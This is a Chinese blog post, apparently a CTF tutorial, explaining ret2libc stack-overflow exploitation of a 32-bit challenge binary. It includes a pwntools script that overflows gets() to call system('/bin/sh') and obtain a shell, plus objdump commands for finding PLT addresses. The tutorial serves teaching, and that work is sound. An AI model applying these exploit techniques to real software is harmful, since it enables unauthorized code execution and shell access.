ret2libc pwn

最新推荐文章于 2023-05-08 23:46:55 发布

「已注销」

最新推荐文章于 2023-05-08 23:46:55 发布

阅读量846

点赞数 14

文章标签：安全 linux python shell

本文链接：https://blog.csdn.net/qq_41560595/article/details/108829157

版权

本文详细介绍了三种类型的ret2libc攻击：有_system和/bin/sh、有_system但无/bin/sh以及无system也无/bin/sh。内容包括查看栈保护、动态链接库函数地址查找、利用延迟绑定机制构造payload等技术细节，旨在帮助读者理解ret2libc的利用方法。

摘要由CSDN通过智能技术生成

题型一有_sysetem和/bin/sh

查看栈保护

在这里插入图片描述

F5查看源代码

在这里插入图片描述
看见gets函数，立刻想到是栈溢出题型，但是此题并未提供system("/bin/sh")函数。.plt表包含了程序中用到的所有动态链接库函数，也包含了system()函数，因此可以根据这个特性查找system()地址，构造system("/bin/sh")。
查看所有动态链接函数命令：

在这里插入图片描述

判断覆盖量

在这里插入图片描述

查找system()的地址

objdump -d -j .plt ./ret
在这里插入图片描述
为什么不直接使用system在got表中的地址，而使用在plt表中的地址？

在secure函数中，调用了一次system函数，但是main中却没有调用secure函数，所以got表中就不会有system函数地址。但是从plt到got部分可以经过一些列自动化操作解析出system真实地址。具体看题型三地址解析过程。

查找/bin/sh的地址

在这里插入图片描述

编写脚本

from pwn import *
p=process('./ret')
system_addr=0x08048460
system_ret_addr=0x00000000    #system的返回地址是随意写的
bin_sh=0x08048720
payload="A"*112+p32(system_addr)+p32(system_ret_addr)+p32(bin_sh)

p.sendline(payload)
p.interactive()

图解

在这里插入图片描述
大功告成

在这里插入图片描述

题型二有_system但没有/bin/sh

查看源代码

在这里插入图片描述

查看_system地址

在这里插入图片描述

查看/bin/sh的地址

在这里插入图片描述

没找到，只能自己构造。

在这里插入图片描述
这一步的_system_addr用来当作gets函数的返回地址，其实这个返回地址无关紧要(gets函数执行完返回到哪里跟题目无关)，只是后面要用到_system函数，所以摆在这里。
注：在rbp下面时，esp每指到一个函数，就会自动识别出下面的是返回地址和参数。
在这里插入图片描述